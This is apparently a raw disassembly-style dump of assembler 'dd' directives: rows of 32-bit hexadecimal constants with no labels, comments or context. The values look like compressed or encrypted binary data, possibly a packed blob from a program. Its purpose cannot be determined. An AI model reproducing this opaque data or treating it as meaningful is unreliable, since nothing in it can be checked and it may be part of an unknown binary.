dd 0B7F8E873h, 0CB6D69C1h, 0D86C1BE9h, 0F391A909h, 0F42BC56h
dd 35E501AAh, 30206556h, 19D3832Ch, 0A26422BBh, 0EA4FB820h
dd 25228445h, 79882DEh, 76C3E774h, 0EC504E81h, 0C3F280E0h
dd 0B7148817h, 60E2D06Dh, 453861AEh, 0E39640BBh, 4EB4ED49h
dd 27161CFCh, 50ECA204h, 47008354h, 0B3C10CC0h, 6032D3ADh
dd 0C6DBBE27h, 732719F2h, 40851CFh, 6516D9F5h, 0D6A2C4B6h
dd 57DFF498h, 0A41D8500h, 0B30AF068h, 0A2644E49h, 20C85F04h
dd 43CA38BCh, 642A9C00h, 4C82F948h, 0B080310Eh, 57BA42A3h
dd 61644099h, 0EA5F2EA9h, 4782024Ch, 60773C9Ch, 97C72E2Ch
dd 48CA405h, 13ACC3F0h, 0C50020FAh, 8A00200Ch, 5A79F2BFh
dd 17FA1C3h, 12C9C687h, 0D5298C03h, 0C45EFCF5h, 4950F995h
dd 0FF7C925Dh, 9B00B837h, 0F228249Ch, 0FDCC4BE6h, 6AAAD304h
dd 7683A30h, 352C9105h, 0D175CBC1h, 924C0B2Bh, 0CA803459h
dd 86E5BED5h, 7D871BA5h, 0EAC408F8h, 1030745Dh, 2FAE3056h
dd 0C697342h, 0DF2C3080h, 0B22BB441h, 0A410886Ch, 50B609F0h
dd 0B5E414DFh, 4B1FE835h, 10E041D4h, 0E34BAB93h, 0A86E5FA4h
dd 0F4FC1F00h, 0E2E9DBADh, 5AD3510Fh, 0A5B36260h, 163CF969h
dd 0C64C49C9h, 2FECB9DDh, 0E0DA2B0Dh, 7435C09Dh, 6CAD58A5h
dd 0CF5BD098h, 28BEE4C4h, 7D6A65D4h, 0D427F091h, 52569C08h
dd 0CE84F24Ch, 0C901F1E9h, 9E2A5163h, 50876F18h, 0D698FE39h
dd 768E3213h, 0FB6020BBh, 9D0BD4F6h, 7C2495A7h, 0F4742774h
dd 2F0E00DCh, 0F5DE8C53h, 1EF2E797h, 778CE29Fh, 14CAF449h
dd 7000B46Fh, 6BC8A0CCh, 3A9F7BDBh, 0D4D8DC80h, 0D0A2464Eh
dd 4048BE1Ch, 0AB4D9695h, 2100352Fh, 1EE571EFh, 13758F66h
dd 0E19EA3Fh, 0C0E99B20h, 69E47Eh, 41683620h, 0C4E297E9h
dd 8F40E074h, 7FEB351h, 5DB59137h, 69BC73C8h, 0E39E790Bh
dd 607458F9h, 0CC7FC86Eh, 58C27AA3h, 608667A2h, 8EF9Ah
dd 1F206A68h, 79D74B75h, 45A54804h, 0E8E06354h, 1700910h
dd 185F807Fh, 27C39058h, 0BCC40584h, 125BF200h, 9F7F742Ah
dd 3C6D16DDh, 0A80CEDF6h, 65018CA1h, 1BADDACFh, 0E12E3DECh
dd 0B2D98E58h, 56F178A7h, 0C8CA864h, 8E7100D0h, 1D588685h
dd 830BD92Bh, 0DCBB7F4Ch, 0B700DE90h, 0BC4E6751h, 5AA3F3F4h
dd 0B214E35Ah, 0BFDB30A3h, 3704E3EEh, 53EABE31h, 7E28D081h
dd 76711447h, 987462FEh, 0E7674AC3h, 7544B06Ch, 13771636h
dd 4FB8F83Fh, 46E800ADh, 54FD41Dh, 40285EADh, 2D1042B0h
dd 0C53D891Ch, 32A8CCC1h, 58C294ECh, 40C3028Ch, 0A36DD051h
dd 61D1AC71h, 0EE1C5218h, 11CE9202h, 5A7EA04Fh, 9A4EBE3Eh
dd 7C37BDB8h, 0D20C4B02h, 0FC805F84h, 3FF4491Dh, 19040B9Dh
dd 0F70B448h, 0F3F21288h, 39900318h, 21277CEDh, 9D2C589Eh
dd 0F88B6804h, 80C19FFCh, 14F11FD2h, 7CE32Bh, 864549B2h
dd 3AA076h, 0EEB73E13h, 0E4475F72h, 58AEA72Ch, 0F4301FDEh
dd 8C2C019h, 0DAB42AD2h, 0C1CBEB17h, 0BE34D044h, 0C8B0CFAAh
dd 590BC182h, 4E90E424h, 52C5A701h, 0B2C2791Dh, 8CF33Fh
dd 35171EBAh, 2589327h, 0F5A95522h, 4F20B506h, 765E6796h
dd 5CD202FDh, 0E133F47Bh, 0ACDD4DE2h, 5EBDB8D4h, 4FB0A739h
dd 1B0470BCh, 0ABF5EB8Ch, 53FAA00Bh, 1979D108h, 50A53220h
dd 9D63C251h, 79C7C0D1h, 0CF901D48h, 55FD9B9Ch, 6D02C4D8h
dd 158EE5C9h, 5C30C757h, 7A5E049Ch, 0E00086D4h, 93F2A6DFh
dd 4604072h, 4302A5CAh, 904EAB52h, 7AAE960Eh, 76C7276Ch
dd 736A50B8h, 0E660ECAFh, 0B4934814h, 1C119F50h, 5D014065h
dd 0C676D1Ch, 14B59E7Eh, 723620E8h, 0E413207Ah, 0DCB3E083h
dd 20C0B027h, 0EE974EA7h, 50CCBBD4h, 0AA748BBAh, 0EBC75C04h
dd 0CFEBAFC3h, 0C0AE88D8h, 638308B4h, 56B90A00h, 0F19BFF6Bh
dd 55E4257Fh, 0EDA5F0FBh, 0A712406Ch, 8805F869h, 0BFB40643h
dd 23903EBEh, 67D10787h, 0C74A659Fh, 0FCD57418h, 9AAFB4ECh
dd 0D82D9F6Ch, 0F2A30430h, 0EA40B257h, 50F91465h, 0FC00D4B8h
dd 250FC865h, 82590302h, 8AAE7C82h, 66AC3A75h, 33D0024h
dd 2BC0208Fh, 7AF0E5E7h, 7BC6712Dh, 80157858h, 91A08F00h
dd 0C465EF42h, 509B60AFh, 44FF48BBh, 78F1A44Bh, 2E7CB52Bh
dd 9FCC9Bh, 0D46FC857h, 0B80130A4h, 0EBF47471h, 2D6AD57Dh
dd 9CDA6B68h, 0E3F6E781h, 0F8843F5Dh, 0B65817BFh, 9EFAE090h
dd 0FCEB503Fh, 241B06FEh, 38F9884Dh, 0D4D86812h, 706BFFh
dd 31F06A22h, 5A24DA16h, 8360A8CBh, 0D04DC094h, 44600Ah
dd 4393F909h, 71D05E83h, 0FBAEFC0Fh, 7518693Dh, 2C9E841Dh
dd 0A37C96A1h, 0C5E50BACh, 98295F4Fh, 0BFE7986Dh, 20FA2844h
dd 55D6E984h, 4EEAC2E2h, 206CA348h, 0C423F757h, 0BC50ED4Ah
dd 799E0CFCh, 75D93E3Bh, 0E6363105h, 61BF67CDh, 24C8270h
dd 7C90D5F9h, 0E81EABC2h, 0C4C0E387h, 0FA7B2858h, 4E7FA5h
dd 8BF1413Ah, 756B5CAEh
dd 101742F6h, 30DBF8DBh, 0F6AB3B82h, 0FE98CC77h, 72E21798h
dd 0E64009EAh, 4165B0D6h, 0B8C0DCA8h, 1877AC54h, 0EDE39C12h
dd 300C00B8h, 0CED99676h, 0A2F460BDh, 45149E58h, 0DB8C520Ch
dd 0D0078090h, 73D47BD8h, 0C34F5188h, 0AE0A602Ch, 49A4F370h
dd 0F4400076h, 32A331h, 50821EB9h, 0EF70DB41h, 3B789A00h
dd 0BC554968h, 0F91525F1h, 15E40C45h, 0DE2CE460h, 49AF5500h
dd 0C3F5F721h, 0ECD24CD9h, 0A08266A2h, 6FD59EBEh, 3F8147F0h
dd 0D22374A0h, 8604BC5Bh, 0B9DBF1CBh, 0B3D85713h, 6F2CE1DCh
dd 1AB5A20Ch, 5BC082E0h, 0D0410284h, 0FBC81475h, 6EEFB854h
dd 6CF7035Ch, 0DACB87C7h, 0E0C257A4h, 91841D5Fh, 0FB429D16h
dd 0FCA2AB4Dh, 1C56030h, 428249F7h, 0E0375FE9h, 6CE09380h
dd 1ABECEBh, 3F49B39Eh, 6413CDE7h, 4FBD1B84h, 60A3643Ch
dd 30268208h, 676892DCh, 0F895AF07h, 0C0449F20h, 9E08CB3Eh
dd 0E842D126h, 7DEA3BDFh, 3FA994A1h, 84166BFAh, 88D230FCh
dd 65BFDC5Ch, 35CD8274h, 607FFF68h, 8AEBF1Ch, 6E576B76h
dd 7E8DC080h, 7BA417BDh, 200800C4h, 4430C956h, 55726233h
dd 0E49E392Fh, 5DB90040h, 0BB271D50h, 589D732Ah, 6354013Ch
dd 0A4F5C9A8h, 90C8426Ah, 0B3005852h, 0C29DFE5Fh, 4141069h
dd 1EE61C65h, 609BBA38h, 25407F80h, 0AFF4E7EDh, 8B53DD3Ah
dd 0E2FA2445h, 1E900140h, 3C23472Bh, 0CF3017B2h, 4A920F32h
dd 0C3C2A554h, 0B8A0DFF9h, 9CB018A9h, 7491CB27h, 38C2A540h
dd 4B8098B7h, 0AD840A3Dh, 0EC185BCBh, 0A5B2C548h, 5860A4F5h
dd 71DE6505h, 423AF68h, 0D2A6D006h, 866100D4h, 41040552h
dd 0EB7270A7h, 975BE400h, 0CF90FA42h, 0F4164B2Fh, 282DC1F0h
dd 0DE3C5C05h, 65CD7101h, 50EC0191h, 0E2FF4C30h, 0C28813F9h
dd 0D280ADAEh, 386ABEh, 0EB98E90Ch, 957D0B4h, 0E0E430D1h
dd 0ECA4707Bh, 0E54A00D6h, 28E14476h, 702906C6h, 3B00D8FCh
dd 0EFFE348Ch, 2F60255Bh, 1A50CC7Eh, 745BB56Fh, 2C31D0h
dd 1EA356EBh, 21A3E20h, 90CD6D13h, 8F1078B8h, 0A42ED317h
dd 0C26F2E10h, 0F672BDE7h, 105F6B10h, 0C52534h, 99CC6B9Eh
dd 7256A296h, 612689Eh, 12644CA4h, 420452BBh, 9BFBFE9Ch
dd 34C3755h, 8158055h, 0E074D8B0h, 7C8C3027h, 2EE06DECh
dd 54A851A9h, 9D2B220Bh, 0A4A3F7DDh, 52925150h, 5F29C9FFh
dd 91AD5C7h, 0ED64F708h, 9E56DF07h, 2FF07473h, 26EA2B2h
dd 0E2019892h, 228C5B82h, 53BF9004h, 0E1CA70CFh, 1164B39h
dd 0E90DFACDh, 0E27FF9B7h, 9FAE1DE3h, 89F1D980h, 0CB342DB5h
dd 0A9DD5FC8h, 0ABEF75CBh, 5FCC5749h, 76F9F82Fh, 85C3CEF0h
dd 745F02D9h, 0BB4BAEBCh, 9D315C27h, 532F5h, 48E381A0h
dd 0DCE7C0C9h, 57EFDB5h, 54AD2BFDh, 0F90C76ACh, 7BFD3B10h
dd 95FF0CF5h, 0E9542A7Dh, 2E014A33h, 0A18DF860h, 6DDC971Bh
dd 9EEE3860h, 694F095Bh, 687570D7h, 3DCA6CECh, 0C069718h
dd 46B06196h, 3C0A51BFh, 798CB700h, 3401722Dh, 148F4101h
dd 71BD8B30h, 61680FD3h, 0D82770E6h, 9D29A1E4h, 0D783A53Dh
dd 4FFA5106h, 0B14B8B7Eh, 0C83D4AFBh, 97F73CE5h, 0BB60A0FCh
dd 4CDB0377h, 7372B61Ch, 4E83EDEh, 30120075h, 0E2F76642h
dd 0C8062BF9h, 0DF58D09h, 0D18B3F44h, 2FF38105h, 0D9C8EECAh
dd 0C6BF3E51h, 5B641381h, 0A505858Bh, 711875BFh, 16406DBDh
dd 7C03183h, 473419B2h, 0B5290109h, 3B03F6F9h, 27E022D0h
dd 1F901CDCh, 0FF7FE912h, 4861E099h, 1E4DB6D8h, 1C00186h
dd 97392105h, 0CCFA319Bh, 0F0956EDh, 5D5BFBB7h, 0FC8AC1E4h
dd 22597057h, 0EAC15184h, 4D3D6391h, 1FAF92Eh, 0DCEB8D05h
dd 6360A752h, 0BB25006Dh, 79A661A1h, 5F14FC37h, 2FA583h
dd 1BBB66FEh, 0A4958925h, 9FE8528Dh, 9290B107h, 38FFB2DAh
dd 0E2000F46h, 0F3FD09D8h, 3514F53h, 0B986B5EEh, 2370E95Fh
dd 0FAEE8D7Ah, 0FBCFAB50h, 0BF048190h, 109B4DD1h, 6E0FB2BAh
dd 291471D8h, 0B989BC8Dh, 5DB4C2D5h, 0DB589B7Bh, 8FE23Ch
dd 0BF5C7BD9h, 3202294h, 5F286676h, 0FC4FABEBh, 0C0769ABAh
dd 0F07D7EBDh, 8C4CE9C4h, 4E30007Ah, 0E4EF8E24h, 4F0B86E3h
dd 0F5FC1E6Ah, 300C8B7h, 0F608D9EAh, 8DDE2443h, 0BBC0127Ch
dd 42DF02DAh, 0BA90142Fh, 7B55D192h, 16E058A4h, 0DE0F4200h
dd 6EFF2EA1h, 0C23318ADh, 83D04AD1h, 7504E909h, 19CD5FF4h
dd 0D3F7EE60h, 7E0B2420h, 0DD4160E4h, 8113500Eh, 1F0490B4h
dd 0D0417C5h, 8BF84088h, 9105B995h, 1F0211F0h, 12BCF0B7h
dd 0AB411469h, 50459BBBh, 18F4C2EDh, 8C16F03h, 19CB361Dh
dd 100E584Ch, 0C661D85h, 89397965h, 112B269Dh, 0C9117BEh
dd 0A57522EAh, 0D0ED735Dh, 11013A7Fh, 0A1D0C50Ah, 75C2B8E8h
dd 2D0477Bh, 0E3EB00AAh, 89E6CDFFh, 2D61B98Dh, 319D23AEh
dd 0E1EFCD35h, 0B92E4FAFh, 421BCD9h, 0FF5FE380h, 0C0DA9BE1h
dd 0E64707EDh, 9A4145Eh, 1A29B82Bh, 0BA13BB2h, 0FF04818Bh
dd 7B00493Dh, 0A905AFE4h, 0A39E0B46h, 90F5FDABh, 0ED39471h
dd 0D6CC0D2Fh, 0A553F140h, 0A6016C33h, 0DD60E45Eh, 4A48F657h
dd 14528101h, 0B201A6EBh, 737A5549h, 9F0F8900h, 703273BCh
dd 11920591h, 208EA212h, 860F033Bh, 0FF69E16Eh, 1A0ADD4Ch
dd 4AB70460h, 0AAD98C66h, 0A1B761F6h, 0C8B09DAAh, 0D205DECEh
dd 4E1804Fh, 0A103B86Fh, 89F46FB5h, 0C4FAC8B1h, 0C9500A14h
dd 1587F9Bh, 264984C4h, 0DF71FE17h, 0C1042F81h, 2B0BE1E2h
dd 38BC0FFDh, 0D8AA9100h, 8507CB41h, 20E0B0E2h, 33792151h
dd 851D5D30h, 2CB7DBBFh, 17C5500Dh, 2C17FAFBh, 0DD5020EFh
dd 6100676Dh, 0C3754C6Ch, 0D28E1694h, 6F320F98h, 28806849h
dd 5250557Ah, 0B100F0A6h, 2670913Eh, 425EB94h, 0A7078D69h
dd 73C3A543h, 82086CD2h, 0AFB794FAh, 2E02CFF4h, 5D5565EBh
dd 5F5A227Bh, 501267D9h, 0A2EF7F34h, 60BE8E3Eh, 0D22C47EDh
dd 21CF0385h, 8810F5Fh, 0DF513528h, 58150D20h, 412EF15Bh
dd 35FDA598h, 4155805Fh, 545263DEh, 28448C12h, 0B5B88AAh
dd 29418390h, 33CE930h, 2785897Eh, 0B6D4ABA2h, 5898E046h
dd 653300CCh, 7EAA07CAh, 8101664Ch, 0E9A645DFh, 0BD2E01D0h
dd 17D4BC1Eh, 917793h, 294055F5h, 5009BF3Ah, 6171D88h
dd 9BBF1F6Dh, 685A78F2h, 0F1F8409h, 0B1511389h, 0DB0058Eh
dd 0C878F7CAh, 1870C770h, 0DE255497h, 6CE54A00h, 8BB8BF50h
dd 0BB236EB5h, 7DCAD9CCh, 6FFA2B4Ah, 96CC1278h, 32392804h
dd 89D8891Dh, 0AD645Fh, 33E1A2D7h, 0A563E768h, 0A3C4C300h
dd 0B07E4609h, 491499B4h, 0FE8546B5h, 83FF551Eh, 827269A9h
dd 0B0759D26h, 4468984h, 0B015B6BBh, 92995Fh, 5013D5A9h
dd 964E7E9Ch, 2A53C9EBh, 9935BFCh, 0A10B5A5h, 92C4D781h
dd 0A4AE0762h, 338FF66h, 1060261Fh, 278D428h, 61654113h
dd 0A2BB5B03h, 0C789EE7Ah, 8EC4EA10h, 97D9921Eh, 58F98040h
dd 8224EB80h, 0D769A38Dh, 9390D9E4h, 508019FAh, 0E3EF09BBh
dd 8A910E03h, 1C951008h, 48340482h, 0DBBBB462h, 0C2158805h
dd 525FD460h, 0CDF69D9Fh, 2B47F200h, 5CF92E13h, 21106B98h
dd 615B141Eh, 16BD10D6h, 0A12E313Bh, 85C78824h, 0F5164348h
dd 597AAA10h, 1D37342Fh, 0B066A6AAh, 0E67D42ECh, 3CBC261Ah
dd 0D9CB0394h, 5E04ADC6h, 21E9DABFh, 0F52231F2h, 0C30500Eh
dd 61440E11h, 10E8C101h
dd 20E38EBh, 3124C3Fh, 0E7B39058h, 36DD36EBh, 9E6443E0h
dd 501B63E1h, 21282934h, 1358180Ch, 1B57D001h, 0C0021B94h
dd 7BDB589h, 78745375h, 0CD2EA452h, 855066ADh, 0B044117h
dd 0CA0A3EC9h, 2A00AA7Ah, 0D3FD29DDh, 0C03C92E6h, 41AF488Ah
dd 0B8D12932h, 9484027Fh, 31233A21h, 20FE19E9h, 1540F979h
dd 0BABD4E29h, 94089012h, 0FF2AB11Bh, 29C3EEC7h, 10730458h
dd 0B0502511h, 0A1D13FDBh, 243426FCh, 0EBFADE35h, 0E0EDD503h
dd 88CA761Fh, 816096h, 0C6B6C2CFh, 61CDB03Fh, 0F98D310Dh
dd 8B0D7C0Fh, 0C8A1DD37h, 0FD2FD4BDh, 0D27A890Ah, 99098913h
dd 0AF4DD721h, 0F940A7E7h, 5001E485h, 0A5029503h, 30FA28AAh
dd 85191FF9h, 56970E41h, 0D49DDEF4h, 89034FE1h, 7540B19Dh
dd 0C4618680h, 9585092Fh, 614BCA68h, 14108C41h, 2F0DA5ABh
dd 0B380E2ADh, 0C2835B71h, 0E7800400h, 205089A9h, 0BC0609BFh
dd 0C88148A6h, 3EABB7CEh, 0BBB83EB9h, 0D920D990h, 0B8BCC922h
dd 4546EF5Fh, 62F5C37Ah, 88A65BB9h, 2028D15Ch, 6AAD44C1h
dd 0B2D0D693h, 332C0216h, 845CAFC5h, 41E05E9h, 1860F4AAh
dd 0B53F6100h, 0DE5F101Dh, 1270B8B1h, 6558DAEFh, 1D3E0462h
dd 0C0059E1Eh, 1E5F50CCh, 0DC1C48C4h, 1E4FFB2Eh, 0D55DFAFAh
dd 4D14DFBCh, 8554B695h, 25A58A0Fh, 7F281931h, 26209E94h
dd 2A69CCC7h, 0ECD7569h, 0F53AEBC0h, 0F521712h, 0F130FF8Eh
dd 985F3230h, 2E3D10BCh, 1B1B8BA8h, 250CF254h, 2E5000E9h
dd 313E517Fh, 456DB4Dh, 0D61BD01h, 0EF4A27CEh, 4F05FE3Fh
dd 8176D6E6h, 0A5128B10h, 24A5101Dh, 0A1F000C0h, 87602E08h
dd 0BA143A0Eh, 1297747Ch, 29E3185h, 22F12D80h, 7E7DD09Ch
dd 605A66A4h, 6D7A4F20h, 4EA0090Eh, 4300EAD4h, 61BC89E7h
dd 0F5582C4h, 0A198007Bh, 0B9150920h, 7DCFA01Ch, 2028107h
dd 0C1F82430h, 2E0D1979h, 83BCDDF9h, 0C1911113h, 44C63582h
dd 1A542E0Dh, 5FE93E9Ch, 0C4E74777h, 0E132601Ch, 29D402A3h
dd 0F208A586h, 0C2403854h, 3B5D6709h, 180033F3h, 0D73DFE1Fh
dd 3EF38BE4h, 95C4C9A8h, 0E937E4EDh, 0FFF33D1Ch, 0C357567h
dd 41C0139Fh, 6A3D63BFh, 0C6E516A4h, 0C52E0960h, 0B3617940h
dd 0C1026D79h, 8F8CCCBFh, 0F8D1752Fh, 59D2891Dh, 90F93281h
dd 50D8A240h, 0E88350Fh, 0C1A606Dh, 0EC06CA48h, 612865B9h
dd 0DB810D32h, 2EC41C23h, 319E62ACh, 60901F1h, 4D297D78h
dd 0FAE803ACh, 4D7C2913h, 27FDD804h, 4E46F3EFh, 8007EF6Ah
dd 0D0A8E974h, 684BD370h, 8156CF1Dh, 0B66C2081h, 0EF705B7Dh
dd 4585A61Bh, 0CFEC2A0Eh, 54C957A0h, 70847D4Ch, 8B92018Ah
dd 0D9CD50FBh, 0F5357DAh, 9019D958h, 611C2ED0h, 2A1A2725h
dd 2E253460h, 8100BAA4h, 652D74E3h, 27BF6659h, 0EEA756FCh
dd 4CD7A90Bh, 403595C4h, 19787F07h, 6E8FBBA0h, 49739655h
dd 271445Dh, 31BA4119h, 1340609Fh, 992651D1h, 9D041E61h
dd 418829F1h, 420F5BC1h, 0AB8C7FE6h, 7005F35Dh, 0ED000C7Dh
dd 0CE3219B1h, 9D52F385h, 5F413BFCh, 7F66D1FFh, 80A855F0h
dd 60506D16h, 0D3A688h, 0CF9B07B1h, 0D90F7367h, 0C402FB25h
dd 6A400304h, 5AE73049h, 22BEFC4Bh, 74040167h, 0A031B7EAh
dd 50299994h, 41FDAA60h, 878A3C15h, 1E601B31h, 3D7150h
dd 0C985FC60h, 727453CAh, 0A9AEA200h, 26A61B9h, 41F30481h
dd 804B6590h, 9826BFECh, 8110EFC8h, 0EB013348h, 95BCE830h
dd 8005EF3Fh, 6B60E27Fh, 24BA66D3h, 7BA9F7h, 74C0CF81h
dd 67BB75C7h, 0C71E904h, 9095B2EBh, 81AC2F8Bh, 0E8673D75h
dd 0B53829B8h, 74571B8Fh, 2B4A4FC1h, 80FAF814h, 5FB1DB13h
dd 7E2E2E04h, 0A6EB1D84h, 3510B00Ch, 60920246h, 15B509FBh
dd 0F0F8D2A4h, 0FE95EA48h, 1A3F2487h, 0E7561FD5h, 27D15F52h
dd 225FE0FBh, 0E5B52689h, 0E66CA59Dh, 0B1BD2908h, 0C92D2420h
dd 8A87E959h, 5D996AD9h, 2F60524Dh, 1C486A09h, 0EED18D01h
dd 0B9414481h, 4ABD3F54h, 0E6B69612h, 90953322h, 1A26CDFh
dd 682A1658h, 2062B174h, 80332ADh, 71B69F89h, 0B01AC1ABh
dd 5E36302Eh, 0BD00513Ch, 50FAFE52h, 727B65Dh, 3FE52F9Bh
dd 43546269h, 5BDF4FC0h, 4A70E62Ch, 0D0A84465h, 58D70100h
dd 8B71E4F9h, 0E892F84Bh, 0DA3E2CE1h, 0E9E50897h, 0BA95B305h
dd 351814A3h, 89C1F125h, 110DBD32h, 49EB5C66h, 83BEC87Dh
dd 1CB3031Fh, 82457640h, 0FE8B22C0h, 273A749Dh, 0A102439Ah
dd 2B003409h, 0F4A3B7C8h, 7DD7B0D1h, 0B0F4095h, 221B525h
dd 80E9619Ah, 18D3135h, 0BF8DC218h, 9CE01F7Bh, 39C20AB9h
dd 5E15299Dh, 6CE44905h, 0F4AC5000h, 41DAC5B4h, 9120D8F5h
dd 9997021Dh, 0E150E0Ch, 4C10CD70h, 40E9195Ah, 0BC2FFC1Bh
dd 89BB9373h, 0F6222BDBh, 57F5222Ah, 90E7717Dh, 830A928Ah
dd 0FE1F24A5h, 88DEBF8Bh, 83B6916h, 25216185h, 9910CF6Ch
dd 0BD13AC05h, 0B6959445h, 1552F00Ah, 93460914h, 0C6DFD4A9h
dd 41819C85h, 7D083BB9h, 176910EAh, 6BC5C44Ah, 0D17B073Ch
dd 0DD2007ACh, 0EB814Bh, 62FB6B65h, 0DBE780FCh, 0F69DB870h
dd 367DF47Eh, 57C9A309h, 129F715Fh, 0D87CE3F5h, 800DC9DAh
dd 627C32BBh, 54891F4Bh, 0C9C0A2E9h, 68179E4Eh, 24DD0D93h
dd 56302B0Ch, 9A619D31h, 58959525h, 0B9B7A5h, 0DA2375ACh
dd 5E2542BFh, 33768h, 0CA892D06h, 4909DF13h, 71289A93h
dd 494C448Eh, 0C13D9852h, 80E302DEh, 5F33271Eh, 5D71DA9Ah
dd 9E516EA5h, 4100D488h, 5F3FEB26h, 0A1A8AF7h, 0E1FF0AEAh
dd 0BD909BFh, 0FCC63571h, 706D9067h, 4013ACC1h, 41E30401h
dd 59165D59h, 0BB367013h, 0E5024DD6h, 56E484BFh, 0B5D725D2h
dd 380C85B6h, 2159C105h, 0D2A80409h, 46BCDD4Dh, 1D651C04h
dd 0CEAD8880h, 3542C838h, 0AEE6FDA9h, 5D3114B2h, 81B4342Bh
dd 2E174D94h, 929E7EB8h, 447FB5C7h, 79B1BA7Bh, 0ACB7F92Fh
dd 69F494E5h, 0A2C50385h, 0BD6E6309h, 5F130149h, 0E6DDBE68h
dd 0FC0F2B28h, 0B8B052F8h, 0F9DE3E41h, 8501560Bh, 7751A709h
dd 44ACFC44h, 9FFDC8D3h, 0FA672001h, 0ACE45AFFh, 0AF93812Ch
dd 7401588Eh, 30E95B6Bh, 11286202h, 894A0DA1h, 51BE9517h
dd 0ED345FA6h, 5D84CEC7h, 0BFC0D0A8h, 32C974B2h, 53D33A95h
dd 129350A6h, 0B5E852h, 0B28925CBh, 2CEA8Ch, 88E52EA7h
dd 0CF176445h, 6B342306h, 7FAE7977h, 0DC0E822Dh, 9F76F77h
dd 379259F6h, 85151146h, 0AD047D25h, 290714DDh, 0A9197495h
dd 8C1BA8F3h, 17758807h, 0A0502A36h, 90D88BF8h, 50D92527h
dd 0D102F0CAh, 75408E18h, 0C11213BFh, 0F9E56B8Ch, 0FF8908ADh
dd 60F64DDFh, 0E17A7E30h, 5288DB4Fh, 0AE74009Fh, 0B885454Bh
dd 87EC80D6h, 35CDF34Ah, 0ACD3E92Eh, 0C4774F05h, 46F7EFABh
dd 0FA016802h, 577E0A90h, 34ACE04Eh, 2AF542h, 0C51D4835h
dd 754D3FE9h, 8EDF3A28h, 0BEA44DB0h, 8FF9FE09h, 9E56370Ah
dd 8942654h, 0F80E32A5h, 0C4EFF201h, 0D27AA87Bh, 0F727316Fh
dd 4911F68Eh, 6BBF4B57h, 0BBB4018Ch, 7BE9D767h, 1ECD083Fh
dd 9FA54E25h, 0CD0C5C35h, 259F3C12h, 0ABD52B61h, 0D76B63BBh
dd 29178E45h, 98A851C4h, 0F9581AB6h, 25191087h, 47D7D897h
dd 0E2A92EE1h, 0AD62CFBCh, 33155FAh, 214B3AE9h, 41F6BEBh
dd 1C15EAC7h, 96EBB0ACh, 530F6E6Fh, 0EEE0D3DBh, 9EA873F2h
dd 0B5096D09h, 9D314865h
dd 4C1F5C29h, 15DF85E1h, 2E8D9205h, 0C5CCEB3Ch, 0E3DA8B27h
dd 0C0034C87h, 29A97E51h, 0A47B03C1h, 316BAE54h, 386589D0h
dd 0E124479h, 3940A069h, 0CF81665Fh, 0CD904ABEh, 0B8966D9Bh
dd 23BFCC1h, 0F46EECD1h, 0B956FE8Ah, 4ECD82C4h, 0C25412DAh
dd 759D0B60h, 0F2418B31h, 8EA92E6Ch, 7036FD00h, 58C95355h
dd 7893E700h, 90EA084Dh, 97D89AB5h, 0DB001B37h, 1FB96EDh
dd 82CD05E3h, 0F7E0E780h, 3DA5BA1h, 9A9C0C80h, 0DB4AB70Fh
dd 0ACF5C5CCh, 40759690h, 0EF73C7BCh, 0BD45F309h, 89A659BEh
dd 7F59D88Ah, 24DE16A6h, 253B5DDEh, 6350EBB3h, 0A4AC554h
dd 1489A8DCh, 123459BDh, 4A0CE110h, 0E0AD9E84h, 7A0160B8h
dd 87849073h, 648C18E2h, 507116F9h, 3ABB2002h, 561197ECh
dd 256DE9C4h, 78630C40h, 11EEC43Dh, 0C9C7AD10h, 0DB331860h
dd 126803D8h, 0E3FEEDD3h, 397522F0h, 7EA38307h, 0A47B950Bh
dd 0DBE761DEh, 3FC40FA0h, 6B8F7E13h, 0BE01C8BBh, 8EF1410Bh
dd 95130232h, 0E0E65425h, 3305F1BFh, 0D54949B6h, 0CDE06BEDh
dd 12DD7Dh, 92E38176h, 502F2DC7h, 449FDC9Dh, 11F4BB51h
dd 0A2220087h, 0C90EF47Eh, 5F6A4F4Dh, 0DF25BDEAh, 9687DF35h
dd 0E7E060BFh, 4A56837h, 0DBC7802Ch, 0AC60AD61h, 9E008C1Ch
dd 0A1999C21h, 0B0178D7h, 43F380C2h, 1B95F878h, 908BCAE9h
dd 1221BFC1h, 0B2075AE3h, 25498DC9h, 9BB81A2Dh, 96475E03h
dd 0A450DEB3h, 0B02CA6EFh, 412FB49h, 7C46A794h, 0F8E8C240h
dd 55A974h, 5DC9FE13h, 0BC13E135h, 0C0F053ADh, 0B65BFEB6h
dd 0EC4D2520h, 0B2621464h, 32612160h, 91523797h, 0C0A08F1Ah
dd 0F9A571E8h, 0FB989525h, 94958DB7h, 11944DBh, 1F52B55Bh
dd 6617E0A3h, 0A05212BBh, 9D7123C2h, 4525F096h, 0ECC0A7C4h
dd 0E90ECC5Eh, 33FFF49Eh, 0DFE215A6h, 0D800CBD9h, 36DECA02h
dd 128B4A13h, 0BD2488D7h, 3B662800h, 0F6BA74FBh, 0BE2D020Dh
dd 0C18B5B44h, 0DCE2C34Dh, 91A8D87Ah, 399504C1h, 0AEF6FA0Dh
dd 0FC5F5304h, 50068090h, 20ED5B52h, 0D61A78DEh, 5B7E4FA1h
dd 0A3A67006h, 0B6DB801Ah, 0C0B2ED44h, 799EDCD7h, 0CEF27F31h
dd 614106ADh, 0CC7CB696h, 9AB8B062h, 4D27BB56h, 7C14C08Ah
dd 3E25A10Eh, 9038C181h, 59E2E38h, 0CC310FFBh, 0A07ADCEh
dd 3361C469h, 0F450B6B7h, 0EEE48Ch, 0FACF1892h, 5B122297h
dd 0FB3A19B7h, 0D97F9002h, 0B55E24ACh, 0B915BDB6h, 0E93A3B21h
dd 8AC4B967h, 0DD2C4A7Eh, 0C0A01ABFh, 0BDC007E0h, 0F98A258Bh
dd 5509A65h, 4B6C00E6h, 0B25388B3h, 8917515Eh, 5552C9B5h
dd 0A24D9AA1h, 1461DCh, 0FB6429B2h, 72DC8BEFh, 6DDA3A4Ah
dd 4A875176h, 6AF9CE00h, 0D338B502h, 0DC8A1D59h, 6C50495Ah
dd 0E183A57Bh, 0DD6261F0h, 0B7AC7695h, 7DCF910Ah, 0D90931D7h
dd 9AC6F722h, 84CFA200h, 295026E4h, 74403AAAh, 0C318E600h
dd 0CDFCE8C9h, 0F7615F24h, 4206D08h, 0AC0D91E9h, 0B6A0B16Dh
dd 20F0FC04h, 2FA39034h, 0A6BA2C65h, 0D7E96654h, 0A4E0F2C7h
dd 0EAB2F629h, 0DA34486Bh, 0DF978C3Ah, 874F0538h, 0B3B6AA19h
dd 9DACC700h, 0D1411E52h, 32A1BA00h, 33FCC626h, 0DFAB0515h
